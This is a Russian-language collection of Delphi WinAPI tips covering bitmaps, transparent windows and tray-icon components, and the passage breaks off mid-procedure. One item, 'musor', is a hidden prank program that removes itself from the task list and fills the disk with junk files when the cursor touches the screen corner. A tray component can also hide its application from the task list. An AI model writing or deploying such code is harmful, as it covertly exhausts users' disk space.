bkYes : Bm1.Handle := LoadBitmap(hInstance, 'BBYES');
bkNo : Bm1.Handle := LoadBitmap(hInstance, 'BBNO');
bkClose : Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE');
bkAbort : Bm1.Handle := LoadBitmap(hInstance, 'BBABORT');
bkRetry : Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY');
bkIgnore : Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE');
bkAll : Bm1.Handle := LoadBitmap(hInstance, 'BBALL');
end;
Bm2 := TBitmap.Create;
Bm2.Width := Bm1.Width;
Bm2.Height := Bm1.Height;
Bm2.Canvas.Brush.Color := ClBtnFace;
Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1,
Rect(0, 0, Bm1.width, Bm1.Height),
Bm1.canvas.pixels[0,0]);
Bm1.Free;
LockWindowUpdate(BitBtn.Parent.Handle);
BitBtn.Kind := kind;
BitBtn.Glyph.Assign(bm2);
LockWindowUpdate(0);
Bm2.Free;
Result := true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
InitStdBitBtn(BitBtn1, bkOk);
end;
|
Прозрачный растр.
Автор: ПавелПожалуй, это самый простой способ создания прозрачного изображения. Суть его в том, что маска создается автоматически во время выполнения программы, используя значение прозрачного цвета.
MaskBitmap := TBitmap.Create; MaskBitmap.Assign(SrcBitmap); MaskBitmap.Mask(FColor); //прозрачный цвет BitBlt(DestBitmap.Canvas.Handle, x, y, SrcBitmap.Width, SrcBitmap.Height, MaskBitmap.Canvas.Handle, 0, 0, SRCAND); BitBlt(DestBitmap.Canvas.Handle, x, y, SrcBitmap.Width, SrcBitmap.Height, SrcBitmap.Canvas.Handle, 0, 0, SRCINVERT); MaskBitmap.Free;
Как сделать прозрачным фон текста.
Используйте функцию SetBkMode():
procedure TForm1.Button1Click(Sender: TObject);
var
OldBkMode: integer;
begin
with Form1.Canvas do
begin
Brush.Color := clRed;
FillRect(Rect(0, 0, 100, 100));
Brush.Color := clBlue;
TextOut(10, 20, 'Not Transparent!');
OldBkMode := SetBkMode(Handle, TRANSPARENT);
TextOut(10, 50, 'Transparent!');
SetBkMode(Handle, OldBkMode);
end;
end;
|
Прозрачное окно.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
Button1: TButton;
protected
procedure RebuildWindowRgn;
procedure Resize; override;
public
constructor Create(AOwner:TComponent);override;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
constructor TForm1.Create(AOwner:TComponent);
begin
inherited;
HorzScrollbar.Visible := false;
VertScrollbar.Visible := false;
RebuildWindowRgn;
end;
procedure TForm1.Resize;
begin
inherited;
RebuildWindowRgn;
end;
procedure TForm1.RebuildWindowRgn;
var
FullRgn, Rgn: THandle;
ClientX, ClientY, i: integer;
begin
ClientX:=(Width-ClientWidth) div 2;
ClientY:=Height-ClientHeight-ClientX;
FullRgn:=CreateRectRgn(0,0,Width,Height);
Rgn:=CreateRectRgn(ClientX,ClientY,ClientX+ClientWidth,
ClientY+ClientHeight);
CombineRgn(FullRgn,FullRgn,Rgn,RGN_DIFF);
for i:=0 to ControlCount-1 do
with Controls[i] do
begin
Rgn:=CreateRectRgn(ClientX+Left,ClientY+Top,
ClientX+Left+Width,ClientY+Top+Height);
CombineRgn(FullRgn,FullRgn,Rgn,RGN_OR);
end;
SetWindowRgn(Handle,FullRgn,true);
end;
end.
|
Прозрачное окно 2.
procedure TForm1.FormCreate(Sender: TObject); begin Form1.Brush.Style := bsClear; Form1.BorderStyle := bsNone end; |
Мало места на винте.
| Программист увидел НЛО: - У кого-то диск полетел... |
Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором.
program musor;
uses
Windows;
var
{ Объявление переменных }
text: TextFile;
alphabet, temp: string;
i: integer;
point: TPoint;
function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0, 1);
{заполняем строку алфавитом}
alphabet := 'abcdefghijklmnopqrstucvwxyz';
while true do
begin
{ получаем координаты курсора }
GetCursorPos(point);
{ если х = 0 и y = 0 то }
if (point.x = 0) and (point.y = 0) then
begin
temp:=''; {очищаем буфер}
for i:=1 to 8 do {генерируем случайное имя файла}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do {генерируем случайное расширение}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); { присваиваем имя файлу }
Rewrite(text); {открываем файл}
for i:=1 to 30000000 do
begin
Yield;
write(text, '!'); { наполняем файл мусором }
end;
Close(text); {закрываем файл }
end;
end; {всё сначала }
end.
|
Компонент TrayComp.
Автор: Alexander Rodigin.
{************* FREEWARE ******************}
{****************************************************}
{************* copyright (c) ******************}
{************* Alexander Rodigin ******************}
{************* ras@ras.udm.ru ******************}
{************* May 6 1999 Russia ******************}
{*****************************************************
TrayComponent is a mix of two components:
Stealth by Janus N. Тшndегing 1998
[j@nus.person.dk]
with thanks to...
Eric Lawrence [deltagrp@juno.com]
John Molyneux [jaymol@hotmail.com]
copyright © Amigreen Software 1998
and
TrayIcon by Pete Ness
Compuserve ID: 102347,710
Internet: 102347.710@compuserve.com
http:\\ourworld.compuserve.com\homepages\peteness.
Some properties were modified.
Also some new properties were added :
1)ShowInTaskBar allow not to minimize the form onto TaskBar;
2)ShowForm allow completely hide the form from the user and Alt-Tab Menu;
3)RunMinimized disallow application's start-up in minimized state
because minimized form will appear onto Task Bar;
4)DefRClick and DefLClick activates the form if ShowForm = true
and no code assigned to these eventhandlers;
5)the Icon by default is the application's icon;
6)HideApp doesn't conflict with Windows NT now;
The first time you try TTrayComponent just put it onto the form and
run app to test default options.
Any changes,bugs and suggestions please report to ras@ras.udm.ru}
unit TrayComp;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, ShellAPI, Menus, Dialogs, CommCtrl;
const
WM_FROMTRAYICON = WM_USER+59;
WM_RESETTOOLTIP = WM_USER+61;
type
TTrayComp = class(TComponent)
private
{ Private declarations }
{ general }
FhWnd : hWnd;
FhLib : hInst;
{ for hiding }
FHideApp : Boolean;
FShowForm : Boolean;
FShowInTaskBar: Boolean;
FRunMinimized : Boolean;
OldWndProc : TFarProc;
NewWndProc : Pointer;
{ for icon }
IconData : TNOTIFYICONDATA;
FIcon : TIcon;
FToolTip : string;
FShowIcon : Boolean;
FPopupMenu : TPopupMenu;
FDefRClick : Boolean;
FDefLClick : Boolean;
FOnLeftClick : TNotifyEvent;
FOnRightClick : TMouseEvent;
FOnMouseMove : TNotifyEvent;
{ for hiding }
procedure SetHideApp(Value:Boolean);
procedure SetShowForm(Value:Boolean);
procedure SetShowInTaskBar(Value: Boolean);
procedure InsertHook;
procedure RemoveHook;
procedure OurWndProc(var M: TMessage);
{ for icon }
function PlaceIcon : Boolean;
function ReplaceIcon : Boolean;
function EraseIcon : Boolean;
procedure SetShowIcon(Value : Boolean);
procedure SetIcon(Value : TIcon);
procedure SetToolTip(Value : string);
procedure FillIconData;
procedure DoRightClick(Sender : TObject);
procedure DoLeftClick(Sender : TObject);
procedure DoMouseMove(Sender:TObject);
protected
{ Protected declarations }
{ for hiding }
procedure Loaded; override;
procedure DoHiding;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
{ Published declarations }
{ for hiding }
property HideApp :Boolean read FHideApp write SetHideApp ;
property ShowForm :Boolean read FShowForm write SetShowForm default True;
property ShowInTaskBar:Boolean read FShowInTaskBar write SetShowInTaskBar default False;
property RunMinimized :Boolean read FRunMinimized write FRunMinimized default False;
{ for icon }
property ShowIcon : boolean read FShowIcon write SetShowIcon;
property Icon : TIcon read FIcon write SetIcon;
property ToolTip : string read FTooltip write SetToolTip;
property PopupMenu : TPopupMenu read fPopupMenu write fPopupMenu;
property DefRClick : Boolean read FDefRClick write FDefRClick default False;
property DefLClick : Boolean read FDefLClick write FDefLClick default True;
property OnLeftClick : TNotifyEvent read FOnLeftClick write FOnLeftClick;
property OnRightClick : TMouseEvent read FOnRightClick write FonRightClick;
property OnMouseMove : TNotifyEvent read FOnMouseMove write FOnMouseMove;
end;
procedure register;
implementation
constructor TTrayComp.Create(AOwner: TComponent);
var
i: Integer;
Already:Byte;
begin
inherited Create(AOwner);
{ for hiding }
FHideApp:=True;
FShowForm:=True;
FShowInTaskBar := False;
FRunMinimized:=False;
NewWndProc := nil;
OldWndProc := nil;
Already:=0;
if (csDesigning in ComponentState) then
if (AOwner is TForm) then
with (AOwner as TForm) do
begin
for i := 0 to ComponentCount - 1 do
if Components[i] is TTrayComp then
Inc(Already);
if Already>1 then
raise Exception.Create('You can''t create a second TTrayComp on the same form!');
end
else
raise Exception.Create('You can create a TTrayComp only on the form!');
{ for icon }
FIcon := TIcon.Create;
FShowIcon:=True;
FDefRClick:=False;
FDefLClick:=True;
if (csDesigning in ComponentState) then
SetIcon(Application.Icon);
end;
destructor TTrayComp.Destroy;
begin
{ for hiding }
RemoveHook;
{ for icon }
if not (csDesigning in ComponentState)then
if FShowIcon then
EraseIcon;
FIcon.Free;
inherited Destroy;
end;
procedure TTrayComp.Loaded;
begin
inherited Loaded;
FhWnd:=(Owner as TForm).Handle;
{ terminate if minimized not allowed }
if IsIconic(FhWnd)and not FRunMinimized then
Application.Terminate;
InsertHook;
{ hide the form at start-up if needed }
if not FShowForm then
begin
(Owner as TForm).Visible:=False;
Application.ShowMainForm:=False;
end;
end;
procedure TTrayComp.DoHiding;
begin
if not (csDesigning in ComponentState) then
if not FShowInTaskBar then
ShowWindow(FindWindow(nil, @Application.Title[1]), SW_HIDE);
end;
procedure TTrayComp.SetShowInTaskBar(Value:Boolean);
begin
FShowInTaskBar:=Value;
DoHiding;
end;
procedure TTrayComp.InsertHook;
begin
if Owner <> nil then
begin
OldWndProc := TFarProc(GetWindowLong(FhWnd, GWL_WNDPROC));
NewWndProc := MakeObjectInstance(OurWndProc);
SetWindowLong(FhWnd, GWL_WNDPROC,Integer(NewWndProc));
end;
end;
procedure TTrayComp.RemoveHook;
begin
if (Owner <> nil) and Assigned(OldWndProc) then
SetWindowLong(FhWnd, GWL_WNDPROC,Integer(OldWndProc));
if Assigned(NewWndProc) then
FreeObjectInstance(NewWndProc);
NewWndProc := nil;
OldWndProc := nil;
end;
procedure TTrayComp.OurWndProc(var M: TMessage);
begin
if Owner <> nil then
case M.Msg of
WM_ACTIVATE:
if (M.WParamLo <> WA_INACTIVE) then
DoHiding;
WM_SYSCOMMAND:
if (M.WParam = SC_MINIMIZE)and not ShowInTaskBar then
begin
M.Msg:=WM_SHOWWINDOW;
M.WParam := SW_HIDE;
end;
WM_FROMTRAYICON:
begin
case M.LParam of
WM_LBUTTONUP : DoLeftClick(Self);
WM_RBUTTONUP : DoRightClick(Self);
WM_MOUSEMOVE : DoMouseMove(Self);
end;
Exit
end;
WM_RESETTOOLTIP:
begin
SetToolTip(FToolTip);
Exit
end
end;
M.Result := CallWindowProc(OldWndProc,FhWnd, M.Msg, M.WParam, M.LParam);
end;
procedure TTrayComp.SetHideApp(Value:Boolean);
type
Proc=procedure(PID,T:DWord); stdcall;
var
RegProc: Proc;
begin
if Value<>FHideApp then
FHideApp:=Value;
if not (csDesigning in ComponentState)then
begin
if FhLib=0 then
FhLib:=GetModuleHandle(PChar('kernel32.dll'));
if FhLib=0 then
Exit;
@RegProc:=GetProcAddress(FhLib,PChar('RegisterServiceProcess'));
if @RegProc<>nil then
begin
if Value then
RegProc(GetCurrentProcessID, 1)
else
RegProc(GetCurrentProcessID, 0);
end
else
FHideApp:=False;
end;
end;
procedure TTrayComp.SetShowForm(Value:Boolean);
begin
if not (csDesigning in ComponentState)then
if Value then
ShowWindow(FhWnd,SW_SHOW)
else
ShowWindow(FhWnd,SW_HIDE);
if Value and not(Owner as TForm).Visible then
(Owner as TForm).Visible:=True;
if FShowForm<>Value then
FShowForm:=Value;
DoHiding;
end;
procedure TTrayComp.FillIconData;
begin
with IconData do
begin
cbSize := sizeof(TNOTIFYICONDATA);
wnd := (Owner as TForm).Handle;
uID := 0;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
hIcon := FIcon.Handle;
StrPCopy(szTip,FToolTip);
uCallbackMessage := WM_FROMTRAYICON;
end;
end;
procedure TTrayComp.SetToolTip(Value:string);
begin
// This routine ALWAYS re-sets the field value and re-loads the
// icon. This is so the ToolTip can be set blank when the component
// is first loaded. If this is changed, the icon will be blank on
// the tray when no ToolTip is specified.
if Length( Value ) > 62 then
Value := Copy(Value,1,62);
FToolTip := Value;
ReplaceIcon;
end;
function TTrayComp.PlaceIcon:Boolean;
begin
FillIconData;
Result := Shell_NotifyIcon(NIM_ADD,@IconData);
// For some reason, if there is no tool tip set up, then the icon
// doesn't display. This fixes that.
if FToolTip = '' then
PostMessage( (Owner as TForm).Handle, WM_RESETTOOLTIP,0,0 );
end;
function TTrayComp.ReplaceIcon:Boolean;
begin
FillIconData;
if FShowIcon then
Result := Shell_NotifyIcon(NIM_MODIFY,@IconData)
else
Result := True;
end;
function TTrayComp.EraseIcon:Boolean;
begin
Result := Shell_NotifyIcon(NIM_DELETE,@IconData);
end;
procedure TTrayComp.SetShowIcon(Value:Boolean);
begin
if not (csdesigning in ComponentState) then
begin
if Value then
PlaceIcon
else
EraseIcon
end;
if Value <> FShowIcon then
FShowIcon:=Value;
end;
procedure TTrayComp.SetIcon(Value:TIcon);
begin
if Value <> FIcon then
begin
FIcon.Assign(Value);
ReplaceIcon;
end;
end;
procedure TTrayComp.DoRightClick(Sender:TObject);
var
Coord: TPoint;
begin
GetCursorPos(Coord);
if Assigned( FOnRightClick ) then
FOnRightClick(Self,mbRight,[],Coord.X,Coord.Y)
else
if FDefRClick and FShowForm then
begin
ShowWindow(FhWnd,SW_SHOW);
SetActiveWindow(FhWnd);
end;
if Assigned(FPopupMenu) then
begin
SetActiveWindow((Owner as TForm).Handle);
FPopupMenu.PopUp(Coord.X,Coord.Y);
end
end;
procedure TTrayComp.DoLeftClick(Sender : TObject);
begin
if Assigned(FOnLeftClick)then
FOnLeftClick(Self)
else
if DefLClick and FShowForm then
begin
ShowWindow(FhWnd,SW_SHOW);
SetActiveWindow(FhWnd);
end;
end;
procedure TTrayComp.DoMouseMove(Sender : TObject);
begin
if Assigned(FOnMouseMove)then
FOnMouseMove(Self)
end;
procedure register;
begin
RegisterComponents('RAS', [TTrayComp]);
end;
end.
|
Компонент TrayIcon.
unit Trayicon;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls, ShellAPI, Forms,
menus;
const
WM_TOOLTRAYICON = WM_USER + 1;
WM_RESETTOOLTIP = WM_USER + 2;
type
TTrayIcon = class(TComponent)
private
// BDS
{ для внутреннего пользования }
hMapping: THandle;
{ Набор переменных }
IconData: TNOTIFYICONDATA;
fIcon: TIcon;
fToolTip: string;
fWindowHandle: HWND;
fActive: boolean;
fShowApp: boolean; // Добавлено
fSendMsg: string;
fShowDesigning: Boolean;
{ События }
fOnClick: TNotifyEvent;
fOnDblClick: TNotifyEvent;
fOnRightClick: TMouseEvent;
fPopupMenu: TPopupMenu;
function AddIcon: boolean;
function ModifyIcon: boolean;
function DeleteIcon: boolean;
procedure SetActive(Value: boolean);
procedure SetShowApp(Value: boolean); // Добавлено
procedure SetShowDesigning(Value: boolean);
procedure SetIcon(Value: TIcon);
procedure SetToolTip(Value: string);
procedure WndProc(var msg: TMessage);
procedure FillDataStructure;
procedure DoRightClick(Sender: TObject);
protected
public
FMessageID: DWORD;
constructor create(aOwner: TComponent); override;
procedure Loaded; override; // Добавлено
destructor destroy; override;
procedure GoToPreviousInstance;
published
property Active: boolean read fActive write SetActive;
property ShowDesigning: boolean read fShowDesigning write
SetShowDesigning;
property Icon: TIcon read fIcon write SetIcon;
property IDMessage: string read fSendMsg write fSendMsg;
property ShowApp: boolean read fShowApp write SetShowApp; // Добавлено
property ToolTip: string read fTooltip write SetToolTip;
property OnClick: TNotifyEvent read FOnClick write FOnClick;
property OnDblClick: TNotifyEvent read FOnDblClick write FOnDblClick;
property OnRightClick: TMouseEvent read FOnRightClick write
FonRightClick;
property PopupMenu: TPopupMenu read fPopupMenu write fPopupMenu;
end;
procedure Register;
type
PHWND = ^HWND;
implementation
{$R TrayIcon.res}
procedure TTrayIcon.GoToPreviousInstance;
begin
PostMessage(hwnd_Broadcast, fMessageID, 0, 0);
end;
procedure TTrayIcon.SetActive(Value: boolean);
begin
if value <> fActive then
begin
fActive := Value;
if not (csdesigning in ComponentState) then
begin
if Value then
begin
AddIcon;
end
else
begin
DeleteIcon;
end;
end;
end;
end;
procedure TTrayIcon.SetShowApp(Value: boolean); // Добавлено
begin
if value <> fShowApp then
fShowApp := value;
if not (csdesigning in ComponentState) then
begin
if Value then
begin
ShowWindow(Application.Handle, SW_SHOW);
end
else
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
end;
end;
procedure TTrayIcon.SetShowDesigning(Value: boolean);
begin
if csdesigning in ComponentState then
begin
if value <> fShowDesigning then
begin
fShowDesigning := Value;
if Value then
begin
AddIcon;
end
else
begin
DeleteIcon;
end;
end;
end;
end;
procedure TTrayIcon.SetIcon(Value: Ticon);
begin
if Value <> fIcon then
begin
fIcon.Assign(value);
ModifyIcon;
end;
end;
procedure TTrayIcon.SetToolTip(Value: string);
begin
// Данная программа ВСЕГДА переустанавливает текст подсказки и перезагружает
// иконку. Текст может быть пустым в случае первой инициализации компонента.
// Без инициализации иконка будет пустой и текст подсказки будет отсутствовать.
if length(Value) > 62 then
Value := copy(Value, 1, 62);
fToolTip := value;
ModifyIcon;
end;
constructor TTrayIcon.create(aOwner: Tcomponent);
begin
inherited create(aOwner);
FWindowHandle := AllocateHWnd(WndProc);
FIcon := TIcon.Create;
SetShowApp(False);
end;
destructor TTrayIcon.destroy;
begin
// BDS
CloseHandle(hMapping);
if (not (csDesigning in ComponentState) and fActive)
or ((csDesigning in ComponentState) and fShowDesigning) then
DeleteIcon;
FIcon.Free;
DeAllocateHWnd(FWindowHandle);
inherited destroy;
end;
procedure TTrayIcon.Loaded;
var
// BDS
// hMapping: HWND;
tmp, tmpID: PChar;
begin
inherited Loaded;
if fSendMsg <> '' then
begin
GetMem(tmp, Length(fSendMsg) + 1);
GetMem(tmpID, Length(fSendMsg) + 1);
StrPCopy(tmp, fSendMsg);
StrPCopy(tmpID, fSendMsg);
fMessageID := RegisterWindowMessage(tmp);
FreeMem(tmp);
hMapping := CreateFileMapping(HWND($FFFFFFFF), nil, PAGE_READONLY, 0, 32,
tmpID);
if (hMapping <> NULL) and (GetLastError = ERROR_ALREADY_EXISTS) then
begin
if not (csDesigning in ComponentState) then
begin
GotoPreviousInstance;
FreeMem(tmpID);
halt;
end;
end;
FreeMem(tmpID);
end;
SetShowApp(fShowApp);
end;
procedure TTrayIcon.FillDataStructure;
begin
with IconData do
begin
cbSize := sizeof(TNOTIFYICONDATA);
wnd := FWindowHandle;
uID := 0; // определенный приложением идентификатор иконки
uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
hIcon := fIcon.Handle;
StrPCopy(szTip, fToolTip);
uCallbackMessage := WM_TOOLTRAYICON;
end;
end;
function TTrayIcon.AddIcon: boolean;
begin
FillDataStructure;
result := Shell_NotifyIcon(NIM_ADD, @IconData);
// По неизвестной причине, если не задан текст всплывающей
// подсказки, иконка не выводится. Здесь это учтено.
if fToolTip = '' then
PostMessage(fWindowHandle, WM_RESETTOOLTIP, 0, 0);
end;
function TTrayIcon.ModifyIcon: boolean;
begin
FillDataStructure;
if fActive then
result := Shell_NotifyIcon(NIM_MODIFY, @IconData)
else
result := True;
end;
procedure TTrayIcon.DoRightClick(Sender: TObject);
var
MouseCo: Tpoint;
begin
GetCursorPos(MouseCo);
if assigned(fPopupMenu) then
begin
SetForegroundWindow(Application.Handle);
Application.ProcessMessages;
fPopupmenu.Popup(Mouseco.X, Mouseco.Y);
end;
if assigned(FOnRightClick) then
begin
FOnRightClick(self, mbRight, [], MouseCo.x, MouseCo.y);
end;
end;
function TTrayIcon.DeleteIcon: boolean;
begin
result := Shell_NotifyIcon(NIM_DELETE, @IconData);
end;
procedure TTrayIcon.WndProc(var msg: TMessage);
begin
with msg do
if (msg = WM_RESETTOOLTIP) then
SetToolTip(fToolTip)
else if (msg = WM_TOOLTRAYICON) then
begin
case lParam of
WM_LBUTTONDBLCLK: if assigned(FOnDblClick) then
FOnDblClick(self);
WM_LBUTTONUP: if assigned(FOnClick) then
FOnClick(self);
WM_RBUTTONUP: DoRightClick(self);
end;
end
else // Обработка всех сообщений с дескриптором по умолчанию
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;
procedure Register;
begin
RegisterComponents('Win95', [TTrayIcon]);
end;
end.
|
Использование подсказки в Tray в виде шара.
{
Use the AddSysTrayIcon procedure to add icon to notification area
(in FormCreate, for example), and use the ShowBalloonTips procedure
when ever you want(of cause must after you called AddSysTrayIcon procedure),
and finally call DeleteSysTrayIcon procedure to remove icon from
notification area after your using.
Add propriety code to the callback message handler.
The new feature require IE5 or later.
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
{new constant definitions}
const
NIF_INFO = $10;
NIF_MESSAGE = 1;
NIF_ICON = 2;
NOTIFYICON_VERSION = 3;
NIF_TIP = 4;
NIM_SETVERSION = $00000004;
NIM_SETFOCUS = $00000003;
NIIF_INFO = $00000001;
NIIF_WARNING = $00000002;
NIIF_ERROR = $00000003;
NIN_BALLOONSHOW = WM_USER + 2;
NIN_BALLOONHIDE = WM_USER + 3;
NIN_BALLOONTIMEOUT = WM_USER + 4;
NIN_BALLOONUSERCLICK = WM_USER + 5;
NIN_SELECT = WM_USER + 0;
NINF_KEY = $1;
NIN_KEYSELECT = NIN_SELECT or NINF_KEY;
NIN_BALLOONSHOW = WM_USER + 2;
NIN_BALLOONHIDE = WM_USER + 3;
NIN_BALLOONTIMEOUT = WM_USER + 4;
NIN_BALLOONUSERCLICK = WM_USER + 5;
NIN_SELECT = WM_USER + 0;
NINF_KEY = $1;
NIN_KEYSELECT = NIN_SELECT or NINF_KEY;
{other constants can be found in vs.net---vc7's dir: PlatformSDK\Include\ShellAPI.h}
{define the callback message}
TRAY_CALLBACK = WM_USER + $7258;
{new NotifyIconData structure definition}
type
PNewNotifyIconData = ^TNewNotifyIconData;
TDUMMYUNIONNAME = record
case Integer of
0: (uTimeout: UINT);
1: (uVersion: UINT);
end;
TNewNotifyIconData = record
cbSize: DWORD;
Wnd: HWND;
uID: UINT;
uFlags: UINT;
uCallbackMessage: UINT;
hIcon: HICON;
//Version 5.0 is 128 chars, old ver is 64 chars
szTip: array [0..127] of Char;
dwState: DWORD; //Version 5.0
dwStateMask: DWORD; //Version 5.0
szInfo: array [0..255] of Char; //Version 5.0
DUMMYUNIONNAME: TDUMMYUNIONNAME;
szInfoTitle: array [0..63] of Char; //Version 5.0
dwInfoFlags: DWORD; //Version 5.0
end;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
IconData: TNewNotifyIconData;
procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK;
procedure AddSysTrayIcon;
procedure ShowBalloonTips;
procedure DeleteSysTrayIcon;
public
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses
ShellAPI;
procedure TForm1.SysTrayIconMsgHandler(var Msg: TMessage);
begin
case Msg.lParam of
WM_MOUSEMOVE:;
WM_LBUTTONDOWN:;
WM_LBUTTONUP:;
WM_LBUTTONDBLCLK:;
WM_RBUTTONDOWN:;
WM_RBUTTONUP:;
WM_RBUTTONDBLCLK:;
//followed by the new messages
NIN_BALLOONSHOW:
{Sent when the balloon is shown}
ShowMessage('NIN_BALLOONSHOW');
NIN_BALLOONHIDE:
{Sent when the balloon disappears?Rwhen the icon is deleted,
for example. This message is not sent if the balloon is dismissed because of
a timeout or mouse click by the user. }
ShowMessage('NIN_BALLOONHIDE');
NIN_BALLOONTIMEOUT:
{Sent when the balloon is dismissed because of a timeout.}
ShowMessage('NIN_BALLOONTIMEOUT');
NIN_BALLOONUSERCLICK:
{Sent when the balloon is dismissed because the user clicked the mouse.
Note: in XP there's Close button on he balloon tips, when click the button,
send NIN_BALLOONTIMEOUT message actually.}
ShowMessage('NIN_BALLOONUSERCLICK');
end;
end;
{AddSysTrayIcon procedure add an icon to notification area}
procedure TForm1.AddSysTrayIcon;
begin
IconData.cbSize := SizeOf(IconData);
IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler);
{SysTrayIconMsgHandler is then callback message' handler}
IconData.uID := 0;
IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
IconData.uCallbackMessage := TRAY_CALLBACK; //user defined callback message
IconData.hIcon := Application.Icon.Handle; //an Icon's Handle
IconData.szTip := 'Please send me email.';
if not Shell_NotifyIcon(NIM_ADD, @IconData) then
ShowMessage('add fail');
end;
{ShowBalloonTips procedure carry out the new feature: Balloon Tips}
procedure TForm1.ShowBalloonTips;
var
TipInfo, TipTitle: string;
begin
IconData.cbSize := SizeOf(IconData);
IconData.uFlags := NIF_INFO;
TipInfo := 'Please send me email.';
strPLCopy(IconData.szInfo, TipInfo, SizeOf(IconData.szInfo) - 1);
IconData.DUMMYUNIONNAME.uTimeout := 3000;
TipTitle := 'Happyjoe@21cn.com';
strPLCopy(IconData.szInfoTitle, TipTitle, SizeOf(IconData.szInfoTitle) - 1);
IconData.dwInfoFlags := NIIF_INFO; //NIIF_ERROR; //NIIF_WARNING;
Shell_NotifyIcon(NIM_MODIFY, @IconData);
{in my testing, the following code has no use}
IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;
if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then
ShowMessage('setversion fail');
end;
{here's the deletion procedure}
procedure TForm1.DeleteSysTrayIcon;
begin
DeallocateHWnd(IconData.Wnd);
if not Shell_NotifyIcon(NIM_DELETE, @IconData) then
ShowMessage('delete fail');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
AddSysTrayIcon;
ShowBalloonTips;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteSysTrayIcon;
end;
end.
|
Иконка на TrayBar - пример.
unit shellUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Menus;
const
WM_MYICONNOTIFY = WM_USER + 123;
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
RestoreItem: TMenuItem;
N1: TMenuItem;
FileExitItem1: TMenuItem;
HideItem: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure RestoreItemClick(Sender: TObject);
procedure HideItemClick(Sender: TObject);
procedure FileExitItem1Click(Sender: TObject);
private
{ Private declarations }
ShownOnce: Boolean;
public
{ Public declarations }
procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
procedure WMSYSCOMMAND(var msg: TMessage); message WM_SYSCOMMAND;
procedure RestoreMainForm;
procedure HideMainForm;
procedure CreateTrayIcon(n: Integer);
procedure DeleteTrayIcon(n: Integer);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses ShellApi, shlobj, registry;
procedure TForm1.WMICON(var msg: TMessage);
var
P: TPoint;
begin
case msg.LParam of // обработка обратных сообщений
WM_LBUTTONUP: //по нажатию левой клавиши, WM_RBUTTONUP по правой
begin
GetCursorPos(p);
SetForegroundWindow(Application.MainForm.Handle);
PopupMenu1.Popup(P.X, P.Y);
end;
WM_LBUTTONDBLCLK: RestoreItemClick(Self); //как Default
end;
end;
procedure TForm1.WMSYSCOMMAND(var msg: TMessage);
begin
inherited; //обработка минимизирвания окна, не сворачевается а скрывается
if (Msg.wParam = SC_MINIMIZE) then
HideItemClick(Self);
end;
procedure TForm1.HideMainForm;
begin
//при сокрытии окна
Application.ShowMainForm := False;
ShowWindow(Application.Handle, SW_HIDE);
ShowWindow(Application.MainForm.Handle, SW_HIDE);
end;
procedure TForm1.RestoreMainForm;
var
i, j: Integer;
begin
Application.ShowMainForm := True;
ShowWindow(Application.Handle, SW_RESTORE);
ShowWindow(Application.MainForm.Handle, SW_RESTORE);
if not ShownOnce then
begin
for I := 0 to Application.MainForm.ComponentCount - 1 do
if Application.MainForm.Components[I] is TWinControl then
with Application.MainForm.Components[I] as TWinControl do
if Visible then
begin
ShowWindow(Handle, SW_SHOWDEFAULT);
for J := 0 to ComponentCount - 1 do
if Components[J] is TWinControl then
ShowWindow((Components[J] as TWinControl).Handle,
SW_SHOWDEFAULT);
end;
ShownOnce := True;
end;
end;
procedure TForm1.CreateTrayIcon(n: Integer);
var
nidata: TNotifyIconData;
begin
with nidata do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Self.Handle; //HWND вашего окна (окна принимающего обратные сообщения)
uID := 1; // номер значка
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; //обрабатываемые флаги
uCallBackMessage := WM_MYICONNOTIFY;
hIcon := Application.Icon.Handle;
// то откуда сдергивается значек это может быть и ImageList и т.д.
StrPCopy(szTip, Application.Title);
// всплывающая строка, может быть любой string главное с нулевым окончанием
end;
Shell_NotifyIcon(NIM_ADD, @nidata); // добавление значка
end;
procedure TForm1.DeleteTrayIcon(n: Integer);
var
nidata: TNotifyIconData;
begin
with nidata do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Self.Handle;
uID := 1;
end;
